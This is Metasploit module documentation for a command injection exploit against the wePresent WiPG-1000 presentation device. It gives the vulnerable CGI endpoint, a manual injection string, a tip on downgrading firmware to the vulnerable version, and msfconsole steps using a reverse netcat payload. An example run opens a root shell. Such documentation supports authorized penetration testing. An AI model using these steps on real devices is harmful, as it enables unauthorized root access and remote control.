## Vulnerable Application

  This module exploits a command injection vulnerability in the [wePresent WiPG-1000](http://wepresentwifi.com/wipg1000.html) device. A description of the exploited vulnerability is available in section 3.4 of [this advisory](https://www.redguard.ch/advisories/wepresent-wipg1000.txt).
  The latest vulnerable firmware version is 2.0.0.7. Newer versions can be downgraded to [the older firmware](http://www.wepresentwifi.com/assets/downloads/wipg1000/wePresent.1000.2.0.0.7.nad.zip).

  There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method checks for the presence of the `rdfs.cgi` file and whether it contains the string `https://www.redguard.ch/advisories/wepresent-wipg1000.txt`. All known versions of this file on the device are vulnerable to this command injection.

  Manual exploitation would equate to browsing to the URI `http://<ip>/cgi-bin/rdfs.cgi` and entering the String `; command;` in the input field and submitting the form.

  Version 2.0.0.7 was confirmed vulnerable, and firmware 2.2.3.0 was released to fix the exploit.

## Verification Steps

  1. Make sure the device is running.
  2. Start msfconsole.
  3. Do: ```use exploit/linux/http/wipg1000_cmd_injection```
  4. Do: ```set payload cmd/unix/reverse_netcat```
  5. Do: ```set RHOST <ip>```
  6. Do: ```set LHOST <ip>```
  7. Do: ```exploit```
  8. You should get a shell.

## Options

### PAYLOAD

  The `generic`,`netcat` and `openssl` payload types are valid.

## Scenarios

### Firmware 2.0.0.7

  The following is an example run getting a shell:

  ```
  msf > use exploit/linux/http/wipg1000_cmd_injection 
  msf exploit(wipg1000_cmd_injection) > set payload cmd/unix/reverse_netcat
  payload => cmd/unix/reverse_netcat
  msf exploit(wipg1000_cmd_injection) > set RHOST 192.168.3.3
  RHOST => 192.168.3.3
  msf exploit(wipg1000_cmd_injection) > set LHOST 192.168.3.216
  LHOST => 192.168.3.216
  msf exploit(wipg1000_cmd_injection) > check
  [*] 192.168.3.3:80 The target appears to be vulnerable.
  msf exploit(wipg1000_cmd_injection) > exploit

  [*] Started reverse TCP handler on 192.168.3.216:4444 
  [*] Sending request
  [*] Command shell session 1 opened (192.168.3.216:4444 -> 192.168.3.3:50893) at 2017-04-20 16:11:48 +0200
  id

  uid=0(root) gid=0(root) groups=0(root),10(wheel)
  ```
